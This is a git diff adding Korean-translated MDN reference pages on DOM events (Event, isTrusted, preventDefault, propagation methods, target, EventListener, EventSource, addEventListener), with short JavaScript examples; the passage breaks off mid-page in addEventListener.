이벤트는 마우스를 클릭하거나 키보드를 누르는 등 사용자 액션에 의해 발생할 수도 있고, 혹은 비동기적 작업의 진행을 나타내기 위해 API가 생성할 수도 있습니다. 요소의 {{domxref("HTMLElement.click()")}} 메서드를 호출하거나, 이벤트를 정의한 후 특정 대상에 대해서 {{domxref("EventTarget.dispatchEvent()")}}를 사용하는 등 프로그래밍적으로도 만들어낼 수 있습니다.

+ +

이벤트의 종류는 다양하며 일부는 Event 인터페이스의 파생 인터페이스를 사용합니다. Event 자체는 모든 이벤트에 공통된 속성과 메서드를 가집니다.

+ +

많은 DOM 요소는 이벤트를 받고("수신"), 받은 이벤트를 "처리"하는 코드를 실행할 수 있습니다. 이벤트 처리기는 대개 {{domxref("EventTarget.addEventListener()")}}를 사용해 다양한 요소(<button>, <div>, <span>, 등등)에 "부착"합니다. 그리고 제대로 추가한 경우, 반대로 {{domxref("EventTarget.removeEventListener", "removeEventListener()")}}로 제거할 수도 있습니다.

+ +
+

참고: 하나의 요소는 다수의 처리기를 가질 수 있습니다. 완전히 동일한 이벤트에 대해서도, 예컨대 광고 모듈과 통계 모듈이 각각 비디오 시청을 추적하는 등 여러 처리기를 따로 등록할 수 있습니다.

+
+ +

중첩된 많은 요소가 서로 자신만의 처리기를 가지고 있는 경우 이벤트 처리가 매우 복잡해질 수 있습니다. 특히 부모 요소와 자식 요소의 "공간 상 위치"가 겹쳐서 이벤트가 양쪽 모두에서 발생하는 경우, 이벤트 처리 순서는 각 처리기의 이벤트 확산과 캡처 설정에 따라 달라집니다.

+ +

Event 기반 인터페이스

+ +

다음은 Event 인터페이스에서 파생된 인터페이스의 목록입니다.

+ +

모든 이벤트 인터페이스 이름은 "Event"로 끝납니다.

+ +
+ +
+ +

생성자

+ +
+
{{domxref("Event.Event", "Event()")}}
+
Event 객체를 생성하고 반환합니다.
+
+ +

속성

+ +
+
{{domxref("Event.bubbles")}} {{readonlyinline}}
+
이벤트가 DOM을 타고 위로 확산되는지 나타냅니다.
+
{{domxref("Event.cancelBubble")}}
+
{{domxref("Event.stopPropagation()")}}의 이명으로, 과거에 사용하던 명칭입니다. 이벤트 처리기가 종료되기 전에 값을 true로 설정하면 더 이상의 확산을 막습니다.
+
{{domxref("Event.cancelable")}} {{readonlyinline}}
+
이벤트를 취소할 수 있는지 나타냅니다.
+
{{domxref("Event.composed")}} {{ReadOnlyInline}}
+
이벤트가 섀도 DOM과 일반 DOM의 경계를 넘어 확산할 수 있는지 나타내는 불리언입니다.
+
{{domxref("Event.currentTarget")}} {{readonlyinline}}
+
이벤트를 위해 현재 등록된 대상의 참조. 이벤트가 현재 전달되기로한 객체입니다. 재 타게팅을 통해 변경될수도 있습니다.
+
{{domxref("Event.deepPath")}} {{non-standard_inline}}
+
이벤트가 확산하며 거쳐간 DOM {{domxref("Node")}}의 {{jsxref("Array")}}입니다.
+
{{domxref("Event.defaultPrevented")}} {{readonlyinline}}
+
이벤트의 {{domxref("event.preventDefault()")}}가 호출됐는지를 나타냅니다.
+
{{domxref("Event.eventPhase")}} {{readonlyinline}}
+
처리 중인 이벤트 흐름의 단계를 나타냅니다.
+
{{domxref("Event.explicitOriginalTarget")}} {{non-standard_inline}} {{readonlyinline}}
+
이벤트의 명시적인 원래 대상입니다. (Mozilla 전용)
+
{{domxref("Event.originalTarget")}} {{non-standard_inline}} {{readonlyinline}}
+
이벤트 대상 재설정 이전의 원래 대상입니다. (Mozilla 전용)
+
{{domxref("Event.returnValue")}}
+
Internet Explorer가 도입했으며 구형 사이트의 동작을 보장하기 위해 DOM 명세에 포함된 호환용 속성입니다. 이상적으로는 {{domxref("Event.preventDefault()")}}와 {{domxref("Event.defaultPrevented")}}를 사용해야 하지만, 원하면 returnValue를 사용할 수 있습니다.
+
{{domxref("Event.srcElement")}} {{non-standard_inline}}
+
구버전 Internet Explorer에서 사용한 {{domxref("Event.target")}}의 다른 이름입니다. 비표준이지만 일부 다른 브라우저에서도 호환성을 위해 지원하고 있습니다.
+
{{domxref("Event.target")}} {{readonlyinline}}
+
이벤트가 처음에 발생했던 대상의 참조입니다.
+
{{domxref("Event.timeStamp")}} {{readonlyinline}}
+
이벤트가 생성된 시간(밀리초)입니다. 명세에 따르면 문서 로딩 후 이벤트 생성 시점까지의 시간으로 나타나 있지만 실제 구현은 브라우저마다 다릅니다. 또한 이 속성의 값을 {{domxref("DOMHighResTimeStamp")}}로 바꾸는 작업이 진행 중입니다.
+
{{domxref("Event.type")}} {{readonlyinline}}
+
이벤트의 이름입니다. 대소문자를 구분하지 않습니다.
+
{{domxref("Event.isTrusted")}} {{readonlyinline}}
+
이벤트가 브라우저에 의해 생성, 예컨대 사용자 클릭으로 인해 발생한 것인지, 아니면 {{domxref("Event.initEvent()")}} 등을 사용한 스크립트에서 발생한 것인지 나타냅니다.
+
+ + + +

메서드

+ +
+
{{domxref("Event.composedPath()")}}
+
이벤트의 경로, 즉 수신기를 발동할 모든 객체를 반환합니다. 섀도우 루트의 {{domxref("ShadowRoot.mode")}}가 closed인 경우 섀도우 트리의 노드는 포함하지 않습니다.
+
{{domxref("Event.preventDefault()")}}
+
취소 가능한 경우 이벤트를 취소합니다.
+
{{domxref("Event.stopImmediatePropagation()")}}
+
이 특정 이벤트에 대해서 다른 모든 수신기의 호출을 방지합니다. 같은 요소에 부착된 수신기는 물론 캡처 단계 등 이후에 순회활 요소에 부착된 수신기도 이 이벤트를 받지 않습니다.
+
{{domxref("Event.stopPropagation()")}}
+
이벤트의 DOM 내 추가 확산을 방지합니다.
+
+ + + +

명세

+ + + + + + + + + + + + + + +
명세상태코멘트
{{SpecName('DOM WHATWG', '#interface-event', 'Event')}}{{Spec2('DOM WHATWG')}}
+ +

브라우저 호환성

+ + + +

{{Compat("api.Event")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/event/istrusted/index.html b/files/ko/web/api/event/istrusted/index.html new file mode 100644 index 0000000000..afce93c401 --- /dev/null +++ b/files/ko/web/api/event/istrusted/index.html @@ -0,0 +1,61 @@ +--- +title: Event.isTrusted +slug: Web/API/Event/isTrusted +tags: + - API + - Event + - Property + - Read-only + - Reference + - 속성 + - 이벤트 +translation_of: Web/API/Event/isTrusted +--- +
{{APIRef("DOM")}}
+ +

{{domxref("Event")}} 인터페이스의 읽기 전용 속성인 isTrusted는, 이벤트가 사용자 행위에 의하여 발생되었으면 true이고 이벤트가 스크립트로 인해 생성 또는 수정되었거나 dispatchEvent를 통해 보내졌으면 false인 논리 값입니다. 이것이 true인 이벤트는 신뢰된다고 표현합니다.

+ +

구문

+ +
var bool = event.isTrusted;
+
+ +

예제

+ +
 if(event.isTrusted)
+ {
+    // 이 이벤트는 신뢰됩니다.
+ }
+ else
+ {
+    // 이 이벤트는 신뢰되지 않습니다.
+ }
+
+ +

명세

+ + + + + + + + + + + + + + + + + + + +
명세상태비고
{{SpecName('DOM WHATWG', '#dom-event-istrusted', 'Event.isTrusted')}}{{ Spec2('DOM WHATWG') }} 
{{SpecName('DOM3 Events', '#trusted-events', 'Trusted events')}}{{Spec2('DOM3 Events')}}이벤트가 신뢰되기 위한 요건을 추가하였으나 isTrusted 속성을 정의하지는 않았습니다.
+ +

브라우저 호환성

+ + + +

{{Compat("api.Event.isTrusted")}}

diff --git a/files/ko/web/api/event/preventdefault/index.html b/files/ko/web/api/event/preventdefault/index.html new file mode 100644 index 0000000000..71f4fdb229 --- /dev/null +++ b/files/ko/web/api/event/preventdefault/index.html @@ -0,0 +1,93 @@ +--- +title: event.preventDefault +slug: Web/API/Event/preventDefault +translation_of: Web/API/Event/preventDefault +--- +

{{ ApiRef() }}

+ +

개요

+ +

이벤트를 취소할 수 있는 경우, 이벤트의 전파를 막지않고 그 이벤트를 취소합니다.

+ +

구문

+ +
event.preventDefault()
+
+ +

예제

+ +

다음의 예제에서는 체크박스를 클릭했을 때 발생하는 동작을 멈추는 방법을 살펴보겠습니다. 

+ +
<html>
+<head>
+<title>preventDefault 예제</title>
+
+<script type="text/javascript">
+
+function stopDefAction(evt) {
+  evt.preventDefault();
+}
+</script>
+</head>
+
+<body>
+
+<p>체크박스 컨트롤을 클릭해 주세요</p>
+
+<form>
+<input type="checkbox" onclick="stopDefAction(event);"/>
+<label for="checkbox">체크박스</label>
+</form>
+
+</body>
+</html>
+
+ +

preventDefault의 예제를 여기에서 확인할 수 있습니다.

+ +

아래의 예제에서는, preventDefault() 를 사용해서 올바르지 않은 텍스트가 입력란에 입력되는것을 막는 방법을 설명하고 있습니다.

+ +
<html>
+<head>
+<title>preventDefault 예제</title>
+
+<script type="text/javascript">
+
+function checkName(evt) {
+var charCode = evt.charCode;
+
+  if (charCode != 0) {
+    if (charCode < 97 || charCode > 122) {
+      evt.preventDefault();
+      alert("소문자만 입력할 수 있습니다." + "\n"
+            + "charCode: " + charCode + "\n"
+      );
+    }
+  }
+}
+
+</script>
+</head>
+
+<body>
+
+<p>당신의 이름을 소문자만으로 입력해주세요.</p>
+<form>
+<input type="text" onkeypress="checkName(event);"/>
+</form>
+
+</body>
+</html>
+
+ +

주의

+ +

이벤트를 취소하는 도중에 preventDefault를 호출하게되면, 일반적으로는 브라우저의 구현에 의해 처리되는 기존의 액션이 동작하지 않게되고, 그 결과 이벤트가 발생하지 않게됩니다.

+ +

이벤트의 취소가능 여부는 event.cancelable를 사용해서 확인할 수 있습니다. 취소불가능한 이벤트에 대해서 preventDefault를 호출해도 결과는 없습니다.

+ +

preventDefault는 DOM을 통한 이벤트의 전파를 막지않습니다. 전파를 막을때는 event.stopPropagation를 사용해주세요.

+ +

사양

+ +

DOM Level 2 Events: preventDefault

diff --git a/files/ko/web/api/event/stopimmediatepropagation/index.html b/files/ko/web/api/event/stopimmediatepropagation/index.html new file mode 100644 index 0000000000..6c2bc93b84 --- /dev/null +++ b/files/ko/web/api/event/stopimmediatepropagation/index.html @@ -0,0 +1,91 @@ +--- +title: Event.stopImmediatePropagation() +slug: Web/API/Event/stopImmediatePropagation +translation_of: Web/API/Event/stopImmediatePropagation +--- +
{{APIRef("DOM")}}
+ +

event.stopImmediatePropagation() 는 같은 이벤트에서 다른 리스너들이 불려지는 것을 막습니다. 

+ +

문법

+ +
event.stopImmediatePropagation();
+
+ +

주석

+ +

만약  다양한 리스너들이 같은 이벤트타입을 위한 같은 요소에 소속되어 있다면 그들은 추가 된 순서대로 불리게 될 것입니다. 만약 event.stopImmediatePropagation()을 호출하면, 남아있는 리스너들이 불리는 일이 없을 것입니다.

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + +
명세상태설명
{{SpecName('DOM WHATWG', '#dom-event-stopimmediatepropagation', 'Event.stopImmediatePropagation()')}}{{Spec2('DOM WHATWG')}} 
{{SpecName('DOM4', '#dom-event-stopimmediatepropagation', 'Event.stopImmediatePropagation()')}}{{Spec2('DOM4')}}Initial definition
+ +

브라우저 호환성

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatChrome("6.0")}}{{CompatGeckoDesktop("10.0")}}{{CompatIE(9.0)}}{{CompatOpera("15.0")}}{{CompatSafari("5.0")}}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
diff --git a/files/ko/web/api/event/stoppropagation/index.html b/files/ko/web/api/event/stoppropagation/index.html new file mode 100644 index 0000000000..bead1eceb9 --- /dev/null +++ b/files/ko/web/api/event/stoppropagation/index.html @@ -0,0 +1,99 @@ +--- +title: Event.stopPropagation() +slug: Web/API/Event/stopPropagation +translation_of: Web/API/Event/stopPropagation +--- +
{{APIRef("DOM")}}
+ +

이벤트 캡쳐링과 버블링에 있어 현재 이벤트 이후의 전파를 막습니다.

+ +

문법

+ +
event.stopPropagation();
+ +

예시

+ +

DOM에서 이 방법과 이벤트 전파의 더욱 상세한 예시를 위한 예제 5:  Event Propagation 를 보세요.

+ +

주석

+ +

이벤트 흐름의 설명을 위한 DOM 명세 를 보세요. ( DOM 레벨 3 이벤트 초안에는 삽화가 들어가 있습니다.)

+ +

preventDefault는 이벤트의 기본적인 동작(캡쳐링과 버블링)이 일어나는 것을 막기위해 보완적으로 사용되는 방법입니다.

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("DOM WHATWG", "#dom-event-stoppropagation", "Event.stopPropagation()")}}{{Spec2("DOM WHATWG")}} 
{{SpecName("DOM4", "#dom-event-stoppropagation", "Event.stopPropagation()")}}{{Spec2("DOM4")}} 
{{SpecName("DOM2 Events", "#Events-Event-stopPropagation", "Event.stopPropagation()")}}{{Spec2("DOM2 Events")}}Initial definition
+ +

브라우저 호환성

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}9{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
diff --git a/files/ko/web/api/event/target/index.html b/files/ko/web/api/event/target/index.html new file mode 100644 index 0000000000..02fbdd8726 --- /dev/null +++ b/files/ko/web/api/event/target/index.html @@ -0,0 +1,96 @@ +--- +title: Event.target +slug: Web/API/Event/target +tags: + - 돔 + - 레퍼런스 + - 속성 + - 이벤트 + - 타겟 +translation_of: Web/API/Event/target +--- +

{{ApiRef("DOM")}}

+ +

{{domxref("Event")}} interface의 target 속성은  event가 전달한 객체에 대한 참조입니다. 이는 이벤트의 버블링 또는 캡처 단계에서 이벤트 핸들러를 호출하는 {{domxref("Event.currentTarget")}}와 다릅니다.

+ +

Syntax

+ +
theTarget = event.target
+ +

Value

+ +

{{domxref("EventTarget")}}

+ +

Example

+ +

event.target 속성을 사용하여 event delegation을 구현할 수 있습니다.

+ +
// Make a list
+var ul = document.createElement('ul');
+document.body.appendChild(ul);
+
+var li1 = document.createElement('li');
+var li2 = document.createElement('li');
+ul.appendChild(li1);
+ul.appendChild(li2);
+
+function hide(e){
+  // e.target refers to the clicked <li> element
+  // This is different than e.currentTarget which would refer to the parent <ul> in this context
+  e.target.style.visibility = 'hidden';
+}
+
+// Attach the listener to the list
+// It will fire when each <li> is clicked
+ul.addEventListener('click', hide, false);
+
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("DOM WHATWG", "#dom-event-target", "Event.target")}}{{Spec2("DOM WHATWG")}}
{{SpecName("DOM4", "#dom-event-target", "Event.target")}}{{Spec2("DOM4")}}
{{SpecName("DOM2 Events", "#Events-Event-target", "Event.target")}}{{Spec2("DOM2 Events")}}Initial definition
+ +

Browser compatibility

+ + + +

{{Compat("api.Event.target")}}

+ +

Compatibility notes

+ +

On IE 6-8 the event model is different. Event listeners are attached with the non-standard {{domxref('EventTarget.attachEvent')}} method. In this model, the event object has a {{domxref('Event.srcElement')}} property, instead of the target property, and it has the same semantics as event.target.

+ +
function hide(e) {
+  // Support IE6-8
+  var target = e.target || e.srcElement;
+  target.style.visibility = 'hidden';
+}
+
+ +

See also

+ + diff --git a/files/ko/web/api/eventlistener/index.html b/files/ko/web/api/eventlistener/index.html new file mode 100644 index 0000000000..ca59ea3c43 --- /dev/null +++ b/files/ko/web/api/eventlistener/index.html @@ -0,0 +1,84 @@ +--- +title: EventListener +slug: Web/API/EventListener +translation_of: Web/API/EventListener +--- +
{{APIRef("DOM Events")}}
+ +

EventListener 인터페이스는 {{domxref("EventTarget")}} 객체로부터 발생한 이벤트를  처리하기 위한 오브젝트를 말합니다.

+ +
+

Note: 레거시 코드와의 호환성을 유지하기 위해서, EventListener 는 함수 혹은 handleEvent() 함수를 가진 오브젝트를 인자로 받습니다.  아래의 예제에서 확인해보세요.

+
+ +

속성

+ +

이 인터페이스는 구현체나, 상속, 속성 어떤것도 갖고 있지 않습니다.

+ +

메소드

+ +

이 인터페이스는 어떤 메소드도 상속받지 않습니다.

+ +
+
{{domxref("EventListener.handleEvent()")}}
+
주어진 타입의 이벤트가 발생할 때마다 호출될 함수입니다.
+
+ +

예제

+ +

HTML

+ +
<button id="btn">여기를 눌러보세요!</button>
+ +

JavaScript

+ +
const buttonElement = document.getElementById('btn');
+
+// 콜백 함수를 제공함으로써 '클릭' 이벤트를 처리하는 핸들러를 추가합니다.
+// 엘리먼트가 클릭될 떄마다, "누름!" 팝업이 나타날것입니다.
+buttonElement.addEventListener('click', function (event) {
+  alert('누름!');
+});
+
+// 호환성을 위해서, 함수가 아닌 `handleEvent` 속성을 가진 오브젝트도
+// 똑같이 처리됩니다.
+buttonElement.addEventListener('click', {
+  handleEvent: function (event) {
+    alert('handleEvent 함수로 누름!');
+  }
+});
+
+ +

Result

+ +

{{EmbedLiveSample('Example')}}

+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG', '#callbackdef-eventlistener', 'EventListener')}}{{Spec2('DOM WHATWG')}}No change.
{{SpecName('DOM2 Events', '#Events-EventListener', 'EventListener')}}{{Spec2('DOM2 Events')}}Initial definition.
+ +

Browser compatibility

+ + + +

{{Compat("api.EventListener")}}

diff --git a/files/ko/web/api/eventsource/eventsource/index.html b/files/ko/web/api/eventsource/eventsource/index.html new file mode 100644 index 0000000000..dc285494a4 --- /dev/null +++ b/files/ko/web/api/eventsource/eventsource/index.html @@ -0,0 +1,79 @@ +--- +title: EventSource() +slug: Web/API/EventSource/EventSource +tags: + - API + - EventSource + - 레퍼런스 + - 생성자 + - 서버 전송 이벤트 +translation_of: Web/API/EventSource/EventSource +--- +
{{APIRef('WebSockets API')}}
+ +

EventSource() 생성자는 원격 자원을 나타내는 새롭게 생성된 {{domxref("EventSource")}} 를 반환합니다.

+ +

구문

+ +
eventSource = new EventSource(url, configuration);
+ +

파라미터

+ +
+
url
+
이벤트/메시지를 제공하는 원격 자원의 위치를 나타내는 {{domxref("USVString")}} 입니다.
+
configuration {{optional_inline}}
+
새 연결 구성을 위한 옵션을 제공합니다. 가능한 항목은 다음과 같습니다. +
    +
  • withCredentials. 기본값은 false 이며, CORS 가 자격을 포함하도록 설정되어야하는지를 나타냅니다.
  • +
+
+
+ +

예시

+ +
var evtSource = new EventSource('sse.php');
+var eventList = document.querySelector('ul');
+
+evtSource.onmessage = function(e) {
+  var newElement = document.createElement("li");
+
+  newElement.textContent = "message: " + e.data;
+  eventList.appendChild(newElement);
+}
+ +
+

노트: GitHub 에서 전체 예시를 확인할 수 있습니다 — Simple SSE demo using PHP를 사용하는 간단한 SSE 데모를 보세요.

+
+ +

명세

+ + + + + + + + + + + + + + +
명세상태코멘트
{{SpecName('HTML WHATWG', "comms.html#dom-eventsource", "EventSource()")}}{{Spec2('HTML WHATWG')}}초기 정의
+ + + +

브라우저 호환성

+ + + +

{{Compat("api.EventSource.EventSource")}}

+ +

함께 보기

+ + diff --git a/files/ko/web/api/eventsource/index.html b/files/ko/web/api/eventsource/index.html new file mode 100644 index 0000000000..9d0df03b5d --- /dev/null +++ b/files/ko/web/api/eventsource/index.html @@ -0,0 +1,121 @@ +--- +title: EventSource +slug: Web/API/EventSource +tags: + - API + - Communications + - EventSource + - Interface + - NeedsTranslation + - Reference + - Server Sent Events + - Server-sent events + - TopicStub + - messaging +translation_of: Web/API/EventSource +--- +
{{APIRef("Server Sent Events")}}
+ +

EventSource 인터페이스는 server-sent events에 대한 웹 콘텐츠 인터페이스입니다. EventSource 인스턴스는 text/event-stream 포맷으로 이벤트를 보내는 HTTP 서버에 지속적인 연결을 합니다. 연결은{{domxref("EventSource.close()")}} 호출로 종료되지 전까지 지속됩니다.

+ +

연결이 시작되었을 때, 서버로부터 들어오는 메세지들은 이벤트의 형태로 코드에 전달됩니다. 들어온 메시지에 이벤트 필드가 있다면, 트리거된 이벤트는 이벤트 필드의 값과 같게 됩니다. 만약 이벤트 필드가 비어있다면, 그 땐 제네릭 {{event("message")}} 이벤트가 발생됩니다.

+ +

웹소켓과 다르게, server-sent 이벤트는 단방향입니다. 데이터 메시지가 서버에서 클라이언트로 (유저의 웹 브라우저 같은) 한 방향으로 전달되는 것입니다. 이 특징은 클라이언트에서 서버로 메시지 형태로 데이터를 보낼 필요가 없을 때, server-sent 이벤트를 훌륭한 선택으로 만든다. 예를 들어,  EventSource 는 소셜 미디어 상태 업데이트, 뉴스피드나 IndexedDB나 web storage같은 클라이언트-사이드 저장 매커니즘으로 데이터를 전달하는 데 유용한 접근법입니다.

+ +
+
+ +

Constructor

+ +
+
{{domxref("EventSource.EventSource", "EventSource()")}}
+
Creates a new EventSource to handle receiving server-sent events from a specified URL, optionally in credentials mode.
+
+ +

Properties

+ +

This interface also inherits properties from its parent, {{domxref("EventTarget")}}.

+ +
+
{{domxref("EventSource.readyState")}} {{readonlyinline}}
+
A number representing the state of the connection. Possible values are CONNECTING (0), OPEN (1), or CLOSED (2).
+
{{domxref("EventSource.url")}} {{readonlyinline}}
+
A {{domxref("DOMString")}} representing the URL of the source.
+
{{domxref("EventSource.withCredentials")}} {{readonlyinline}}
+
A {{domxref("Boolean")}} indicating whether the EventSource object was instantiated with cross-origin (CORS) credentials set (true), or not (false, the default).
+
+ +

Event handlers

+ +
+
{{domxref("EventSource.onerror")}}
+
Is an {{domxref("EventHandler")}} called when an error occurs and the {{event("error")}} event is dispatched on an EventSource object.
+
{{domxref("EventSource.onmessage")}}
+
Is an {{domxref("EventHandler")}} called when a {{event("message")}} event is received, that is when a message is coming from the source.
+
{{domxref("EventSource.onopen")}}
+
Is an {{domxref("EventHandler")}} called when an {{event("open")}} event is received, that is when the connection was just opened.
+
+ +

Methods

+ +

이 인터페이스는 부모인 {{domxref("EventTarget")}}으로부터 메소드를 상속받고 있습니다.

+ +
+
{{domxref("EventSource.close()")}}
+
Closes the connection, if any, and sets the readyState attribute to CLOSED. If the connection is already closed, the method does nothing.
+
+ +

예시

+ +

이 기초적인 예시에서, EventSource는 서버로 부터 받은 이벤트로 생성되었습니다; "sse.php"라는 이름을 가진 페이지는 이벤트를 생성할 책임이 있습니다.

+ +
var evtSource = new EventSource('sse.php');
+var eventList = document.querySelector('ul');
+
+evtSource.onmessage = function(e) {
+  var newElement = document.createElement("li");
+
+  newElement.textContent = "message: " + e.data;
+  eventList.appendChild(newElement);
+}
+ +

각각의 수신한 이벤트는 우리의  EventSource 객체의 onmessage 이벤트 핸들러가 실행되도록 합니다. 차례가 되었을 때, 새로운 {{HTMLElement("li")}} 요소를 생성하고, 메시지 데이터를 안에 작성합니다. 그 때, 문서에 이미 존재하는 ul 요소에 새로운 요소를 추가하게 됩니다.

+ +
+

Note: You can find a full example on GitHub — see Simple SSE demo using PHP.

+
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "comms.html#the-eventsource-interface", "EventSource")}}{{Spec2('HTML WHATWG')}}
+ + + +

Browser compatibility

+ +
+ + +

{{Compat("api.EventSource")}}

+
+ +

See also

+ + diff --git a/files/ko/web/api/eventtarget/addeventlistener/index.html b/files/ko/web/api/eventtarget/addeventlistener/index.html new file mode 100644 index 0000000000..2e824e174b --- /dev/null +++ b/files/ko/web/api/eventtarget/addeventlistener/index.html @@ -0,0 +1,690 @@ +--- +title: EventTarget.addEventListener() +slug: Web/API/EventTarget/addEventListener +tags: + - API + - DOM + - Event Handlers + - Event Listener + - EventTarget + - JavaScript + - Method + - Reference +translation_of: Web/API/EventTarget/addEventListener +--- +
{{APIRef("DOM Events")}}
+ +

{{domxref("EventTarget")}}의 addEventListener() 메서드는 지정한 이벤트가 대상에 전달될 때마다 호출할 함수를 설정합니다. 일반적인 대상은 {{domxref("Element")}}, {{domxref("Document")}}, {{domxref("Window")}}지만, {{domxref("XMLHttpRequest")}}와 같이 이벤트를 지원하는 모든 객체를 대상으로 지정할 수 있습니다.

+ +

addEventListener()는 {{domxref("EventTarget")}}의 주어진 이벤트 유형에, {{domxref("EventListener")}}를 구현한 함수 또는 객체를 이벤트 처리기 목록에 추가해 작동합니다.

+ +

구문

+ +
target.addEventListener(type, listener[, options]);
+target.addEventListener(type, listener[, useCapture]);
+target.addEventListener(type, listener[, useCapture, wantsUntrusted {{Non-standard_inline}}]); // Gecko/Mozilla only
+ +

매개변수

+ +
+
type
+
반응할 이벤트 유형을 나타내는 대소문자 구분 문자열.
+
listener
+
지정된 타입의 이벤트가 발생했을 때, 알림({{domxref("Event")}} 인터페이스를 구현하는 객체)을 받는 객체입니다. {{domxref("EventListener")}} 인터페이스 또는 JavaScript function를 구현하는 객체여야만 합니다. 콜백 자체에 대한 자세한 내용은 {{anch("The event listener callback")}} 를 참조하세요.
+
options {{optional_inline}}
+
이벤트 리스너에 대한 특성을 지정하는 옵션 객체입니다. 사용 가능한 옵션은 다음과 같습니다 : +
    +
  • capture: DOM 트리의 하단에 있는 EventTarget 으로 전송하기 전에, 등록된 listener 로 이 타입의 이벤트의 전송여부를 나타내는 {{jsxref("Boolean")}} 입니다.
  • +
  • once: 리스너를 추가한 후 한 번만 호출되어야 함을 나타내는 {{jsxref("Boolean")}}입니다. true이면 호출할 때 listener 가 자동으로 삭제됩니다.
  • +
  • passive: true일 경우, listener에서 지정한 함수가 {{domxref("Event.preventDefault", "preventDefault()")}}를 호출하지 않음을 나타내는 {{jsxref("Boolean")}}입니다. passive listener 가 preventDefault()를 호출하면 user agent는 콘솔 경고를 생성하는 것 외의 작업은 수행하지 않습니다. 자세한 내용은 {{anch("Improving scrolling performance with passive listeners")}} 를 참조하세요.
  • +
  • {{non-standard_inline}} mozSystemGroup: listener를 시스템 그룹에 추가해야함을 나타내는 {{jsxref("Boolean")}} 입니다. 오직 XBL 혹은 파이어폭스 브라우저의 {{glossary("chrome")}}에서 실행되는 코드에서만 사용할 수 있습니다.
  • +
+
+
useCapture {{optional_inline}}
+
DOM 트리의 하단에 있는 EventTarget 으로 전송하기 전에, 등록된 listener 로 이 타입의 이벤트의 전송여부를 나타내는 {{jsxref("Boolean")}} 입니다. 트리에서 위쪽으로 버블링되는 이벤트는 캡처를 사용하도록, 지정된 listener를 트리거하지 않습니다. 이벤트 버블링과 캡쳐는 두 요소(엘리먼트)가 해당 이벤트에 대한 핸들(함수)를 등록한 경우, 다른 요소 내에 중첩된 요소에서 발생하는 이벤트를 전파하는 두 가지 방법 입니다. 이벤트 전파 모드는 요소가 이벤트를 수신하는 순서를 판별합니다. 자세한 설명은 DOM Level 3 Events 과 JavaScript Event order 를 참조하세요. 값을 지정하지 않으면, useCapture 의 기본값은 false 입니다.
+
+
참고: 이벤트 타겟에 연결된 이벤트 리스너의 경우, 이벤트는 캡쳐링과 버블링 단계가 아니라 타겟 단계에 있습니다. 타겟 단계의 이벤트는 useCapture 매개변수(파라미터)와 상관없이, 그들이 등록된 순서대로 요소의 모든 리스너를 트리거합니다.
+ +
참고: useCapture 가 항상 선택사항인 것은 아닙니다. 가장 광범위한 브라우저 호환성을 위해 포함시키는 것이 좋습니다.
+
+
wantsUntrusted {{Non-standard_inline}}
+
파이어폭스(겍코) 명세의 매개변수 입니다. true의 경우, 리스너는 웹 컨텐츠에 의해 dispatch되는 합성 이벤트를 수신합니다. (기본값은 {{glossary("chrome")}} 브라우저의 경우 false , 보통의 웹 페이지에서는 true입니다.) 이 매개 변수는 브라우저 자체 뿐만 아니라, 에드온에게도 유용합니다.
+
+ +

Usage notes

+ +

이벤트 리스너 콜백

+ +

이벤트 리스너는 콜백 함수로 지정할 수 있습니다. 또는 {{domxref("EventListener.handleEvent", "handleEvent()")}} 메서드가 콜백 함수 역할을 하는 {{domxref("EventListener")}}를 구현하는 객체로 지정할 수 있습니다.

+ +

콜백 함수 자체는 handleEvent() 메서드와 동일한 매개 변수와 반환값을 가집니다. 즉, 콜백은 단일 매개 변수를 허용합니다: 발생한 이벤트를 설명하는 {{domxref("Event")}}에 기반한 객체이며, 아무것도 반환하지 않습니다.

+ +

예를들어 {{event("fullscreenchange")}} 와 {{event("fullscreenerror")}}를 처리하는데 사용할 수 있는 이벤트 핸들러 콜백은 다음과 같습니다:

+ +
function eventHandler(event) {
+  if (event.type == 'fullscreenchange') {
+    /* handle a full screen toggle */
+  } else /* fullscreenerror */ {
+    /* handle a full screen toggle error */
+  }
+}
+ +

옵션 지원을 안전하게 감지

+ +

이전 버전의 DOM 명세에선, addEventListener()의 세 번째 매개 변수는 캡쳐의 사용여부를 나타내는 Boolean값 이었습니다. 시간이 지남에 따라 더 많은 옵션이 필요하다는 것이 분명 해졌습니다. 함수에 매개 변수를 추가하는 대신 (옵션값을 처리할 때 엄청나게 복잡한 작업), 세 번째 매개 변수는 다양한 속성을 포함 할 수 있는 객체로 변경되었습니다. 이 객체는 이벤트 리스너를 제거하는 프로세스를 구성하는 옵션값을 정의할 수 있습니다.

+ +

지난 버전의 브라우저(뿐만 아니라 너무 오래된 브라우저)에서는 여전히 세 번째 매개 변수가 Boolean 이라고 가정하고 시나리오를 지능적으로 처리할 코드를 작성해야 합니다. 관심있는 각 옵션에 대해 기능 감지를 사용하여 이 작업을 수행할 수 있습니다.

+ +

예를들어서, passive 옵션을 확인하려면 다음과 같이 하세요 :

+ +
var passiveSupported = false;
+
+try {
+  var options = {
+    get passive() { // This function will be called when the browser
+                    //     attempts to access the passive property.
+      passiveSupported = true;
+    }
+  };
+
